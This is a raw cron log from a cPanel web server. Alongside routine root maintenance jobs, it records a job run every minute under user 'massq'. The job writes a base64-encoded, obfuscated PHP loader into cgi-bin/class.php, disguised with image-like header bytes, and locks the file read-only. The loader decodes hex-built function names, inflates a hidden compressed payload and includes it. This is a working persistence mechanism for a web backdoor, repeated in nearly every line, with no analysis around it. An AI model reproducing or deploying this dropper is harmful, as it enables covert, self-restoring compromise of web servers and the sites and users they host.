Nov 11 17:14:01 server CROND[22567]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:15:01 server CROND[23476]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 17:15:01 server CROND[23478]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 17:15:01 server CROND[23479]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:16:01 server CROND[24360]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:17:01 server CROND[25185]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:18:01 server CROND[25995]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:19:01 server CROND[26869]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:20:01 server CROND[27780]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 17:20:01 server CROND[27781]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 17:20:01 server CROND[27784]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 17:20:01 server CROND[27782]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 17:20:01 server CROND[27790]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:21:01 server CROND[28662]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:22:01 server CROND[28919]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:23:01 server CROND[29493]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:24:01 server CROND[30323]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:25:01 server CROND[31130]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 17:25:01 server CROND[31132]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 17:25:01 server CROND[31133]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 17:26:01 server CROND[32190]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
